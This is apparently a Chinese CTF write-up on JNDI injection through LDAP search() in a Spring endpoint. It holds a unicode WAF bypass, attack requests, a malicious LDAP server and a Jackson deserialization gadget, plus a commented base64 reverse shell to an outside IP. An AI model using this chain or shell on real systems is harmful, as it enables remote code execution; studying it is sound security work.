从search入手的jndi注入技术学习
前言
最近也是学到了一种新的jdni注入的方法,以前从来没有看到过,是通过search方法来jndi注入的,只能说学到了不少
思考分析
应用场景
群友给的代码
package com.example.demo.controller;
import java.util.Map;
import java.util.Properties;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
@RequestMapping({"/index"})
public String sayHello(@RequestBody Map<String, Object> bean) throws Exception {
Properties properties = new Properties();
String ip = (String) bean.get("ip");
Integer port = (Integer) bean.get("port");
if (ip.matches("^[0-9.]+$")) {
String url = "ldap://" + ip + ":" + port;
properties.setProperty("java.naming.provider.url", url);
properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
String searchBase = (String) bean.get("searchBase");
String filter = (String) bean.get("filter");
if (searchBase != null && filter != null) {
new InitialDirContext(properties).search(searchBase, filter, (SearchControls) null);
return "index";
}
return "index";
}
return "index";
}
}
不过还有一个waf
public ServletInputStream getInputStream() throws IOException {
if (!new String(this.requestBody).matches("^[{}0-9a-zA-Z\"\\\\:,.]*$")) {
return null;
}
final ByteArrayInputStream bais = new ByteArrayInputStream(this.requestBody);
return new ServletInputStream() { // from class: com.example.demo.controller.RequestWrapper.1
public boolean isFinished() {
return false;
}
public boolean isReady() {
return false;
}
public void setReadListener(ReadListener readListener) {
}
public int read() {
return bais.read();
}
};
简单来说就是不能有a/b或者a=b这种对象存在
不过需要=号的话,这里输入的是json格式的代码,而json格式支持uniocde编码
我这里主要是为了学习search,直接把waf删掉了
初步分析
可以看到的是入口点其实根本看不到,如果你不知道serach可以jndi注入的话
然后有可以控制的一些参数,比如我们的端口,ip
这里先学习一手每个参数是什么意思1. searchBase
searchBase
参数指定了 LDAP 查找的起始位置。在 LDAP 目录中,数据是以树状结构存储的,称为目录信息树(DIT)。searchBase
定义了从哪个节点开始搜索。
-
用法:在执行 LDAP 查询或搜索时,
searchBase
为搜索提供了起点。例如,如果一个 LDAP 目录树的结构如下:
dc=example,dc=com
├── ou=users
│ ├── cn=john
│ └── cn=jane
└── ou=groups
如果 searchBase
设置为 ou=users,dc=example,dc=com
,那么 LDAP 查询将只在 users
组织单位下进行,限制了搜索的范围。
-
重要性:提供了搜索的上下文,使得查询更加高效和切合实际,避免在整个目录中进行查找。
filter
filter
参数用于定义搜索条件,确定哪些条目符合搜索要求。LDAP 目录中的每个条目都是一组键值对(属性),filter
允许通过这些属性来指定筛选条件。
-
示例:常见的 filter 表达式如下:
-
(&(objectClass=user)(sAMAccountName=jdoe))
:查找所有objectClass
为user
且sAMAccountName
属性匹配jdoe
的条目。 -
(cn=*)
:查找cn
属性存在的所有条目。
-
-
逻辑操作符:LDAP filter 支持多种逻辑操作符:
-
&
:与(AND),若所有条件满足则返回结果。 -
|
:或(OR),只要任一条件满足即可返回结果。 -
!
:非(NOT),反转条件。
-
-
重要性:合理的
filter
可保证返回的结果集是相关的,避免不必要的数据处理,提高查询效率。
这些参数大概是ldap服务查找的时候用来使用的参数
这里也很容易想到是伪造一个ldap的服务去打jndi注入,然后jdk版本是8u65,所以需要我们打高版本的jndi注入
调试代码
我们选随便传入参数调试一手
POST /index HTTP/1.1
Host: 127.0.0.1:8899
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PUBLICCMS_ADMIN=1_7b8729cf-5dbc-4ddf-966e-1f7133252f49; PUBLICCMS_ANALYTICS_ID=146a7cd4-26ea-4662-83d6-2504e2f8075b
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
{"ip":"127.0.0.1","port":1389,"searchBase":"dc\u003Daaa,dc\u003Dbbb","filter":"ObjectClass\u003Daaa"}
跟着调用栈来到
search:351, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:341, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:267, InitialDirContext (javax.naming.directory)
sayHello:25, DemoController (com.example.demo.controller)
public NamingEnumeration<SearchResult> search(Name var1, String var2, SearchControls var3) throws NamingException {
PartialCompositeDirContext var4 = this;
Hashtable var5 = this.p_getEnvironment();
Continuation var6 = new Continuation(var1, var5);
Name var8 = var1;
NamingEnumeration var7;
try {
for(var7 = var4.p_search(var8, var2, var3, var6); var6.isContinue(); var7 = var4.p_search(var8, var2, var3, var6)) {
var8 = var6.getRemainingName();
var4 = getPCDirContext(var6);
}
} catch (CannotProceedException var11) {
DirContext var10 = DirectoryManager.getContinuationDirContext(var11);
var7 = var10.search(var11.getRemainingName(), var2, var3);
}
return var7;
}
是在递归的目录搜索,实例化一个Continuation
对象来持续搜索,和我们的cookie有异曲同工之妙
然后进入p_search方法
参数如下
protected NamingEnumeration<SearchResult> p_search(Name var1, String var2, SearchControls var3, Continuation var4) throws NamingException {
HeadTail var5 = this.p_resolveIntermediate(var1, var4);
NamingEnumeration var6 = null;
switch (var5.getStatus()) {
case 2:
var6 = this.c_search(var5.getHead(), var2, var3, var4);
break;
case 3:
var6 = this.c_search_nns(var5.getHead(), var2, var3, var4);
}
return var6;
}
跟进p_search方法,这里是在处理我们的参数了
protected HeadTail p_resolveIntermediate(Name var1, Continuation var2) throws NamingException {
byte var3 = 1;
var2.setSuccess();
HeadTail var4 = this.p_parseComponent(var1, var2);
Name var5 = var4.getTail();
Name var6 = var4.getHead();
if (var5 != null && !var5.isEmpty()) {
Object var7;
if (!var5.get(0).equals("")) {
try {
var7 = this.c_resolveIntermediate_nns(var6, var2);
if (var7 != null) {
var2.setContinue(var7, var6, this, var5);
} else if (var2.isContinue()) {
this.checkAndAdjustRemainingName(var2.getRemainingName());
var2.appendRemainingName(var5);
}
} catch (NamingException var11) {
this.checkAndAdjustRemainingName(var11.getRemainingName());
var11.appendRemainingName(var5);
throw var11;
}
} else if (var5.size() == 1) {
var3 = 3;
} else if (!var6.isEmpty() && !this.isAllEmpty(var5)) {
try {
var7 = this.c_resolveIntermediate_nns(var6, var2);
if (var7 != null) {
var2.setContinue(var7, var6, this, var5);
} else if (var2.isContinue()) {
this.checkAndAdjustRemainingName(var2.getRemainingName());
var2.appendRemainingName(var5);
}
} catch (NamingException var9) {
this.checkAndAdjustRemainingName(var9.getRemainingName());
var9.appendRemainingName(var5);
throw var9;
}
} else {
Name var12 = var5.getSuffix(1);
try {
Object var8 = this.c_lookup_nns(var6, var2);
if (var8 != null) {
var2.setContinue(var8, var6, this, var12);
} else if (var2.isContinue()) {
var2.appendRemainingName(var12);
}
} catch (NamingException var10) {
var10.appendRemainingName(var12);
throw var10;
}
}
} else {
var3 = 2;
}
var4.setStatus(var3);
return var4;
}
首先是p_parseComponent方法开始解析
HeadTail
对象,包含前缀和后缀。
因为这个和我们if条件判断相互关联
在c_resolveIntermediate_nns方法中
在这里就可以看到jndi的字样了,所以我们需要进入if条件的判断
但是这里解析出来
var5为空,这里寻找一下是如何解析的
逻辑是在p_parseComponent
protected HeadTail p_parseComponent(Name var1, Continuation var2) throws NamingException {
byte var3;
if (!var1.isEmpty() && !var1.get(0).equals("")) {
var3 = 1;
} else {
var3 = 0;
}
Name var4;
Name var5;
if (var1 instanceof CompositeName) {
var4 = var1.getPrefix(var3);
var5 = var1.getSuffix(var3);
} else {
var4 = (new CompositeName()).add(var1.toString());
var5 = null;
}
if (debug > 2) {
System.err.println("ORIG: " + var1);
System.err.println("PREFIX: " + var1);
System.err.println("SUFFIX: " + null);
}
return new HeadTail(var4, var5);
}
我们的var5对应的是后缀,至于是如何分前后缀的,这里跟过去代码就很长了
可以参考,这部分逻辑
NameImpl(Properties syntax, String n) throws InvalidNameException {
this(syntax);
boolean rToL = (syntaxDirection == RIGHT_TO_LEFT);
boolean compsAllEmpty = true;
int len = n.length();
for (int i = 0; i < len; ) {
i = extractComp(n, i, len, components);
String comp = rToL
? components.firstElement()
: components.lastElement();
if (comp.length() >= 1) {
compsAllEmpty = false;
}
if (i < len) {
i = skipSeparator(n, i);
if ((i == len) && !compsAllEmpty) {
// Trailing separator found. Add an empty component.
if (rToL) {
components.insertElementAt("", 0);
} else {
components.addElement("");
}
}
}
}
}
直接说结论吧,需要写为a/b的形式
重整旗鼓
POST /index HTTP/1.1
Host: 127.0.0.1:8899
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PUBLICCMS_ADMIN=1_7b8729cf-5dbc-4ddf-966e-1f7133252f49; PUBLICCMS_ANALYTICS_ID=146a7cd4-26ea-4662-83d6-2504e2f8075b
Connection: keep-alive
Content-Type: application/json
Content-Length: 107
{"ip":"127.0.0.1","port":1389,"searchBase":"a/dc\u003Daaa,dc\u003Dbbb","filter":"ObjectClass\u003Daaa"}
再次调试分析
我们直接从lookup开始了
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
重点关注var3 = Obj.decodeObject((Attributes)var4);
我们的LDAP返回的数据就是根据decodeObject返回的,看看这里是解码的什么,传入的是我们的var4
但是要满足if
可以看到第二个是javaSerializedData值,我们必须保证这个值不为null,这个就是涉及到LADP的事了
然后进入decodeObject方法
先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流;这里var2变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码。跟进去:
可以看到反序列化用的readObject()方法了
漏洞触发
这里因为只有jackson的依赖,所以这里可以打jackson的原生链
直接使用师傅的链子
ldap恶意服务
package com.example.demo;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer2 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public static class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
}
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CTF\\R3CTF\\output.txt")))).readLine()));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
public static void main(String[] args) throws Exception {
String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
args = args1;
System.out.println("HttpServerAddress: "+args[0]);
System.out.println("HttpServerPort: "+args[1]);
System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = args[0];
int ldap_port = Integer.valueOf(args[2]);
int http_server_port = Integer.valueOf(args[1]);
lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
poc
package com.example.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Evil {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
String result=serializes(exp);
StringToFile(result);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
} static String serializes(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void StringToFile(String data) throws IOException {
try (FileWriter writer = new FileWriter("output.txt")) {
writer.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
}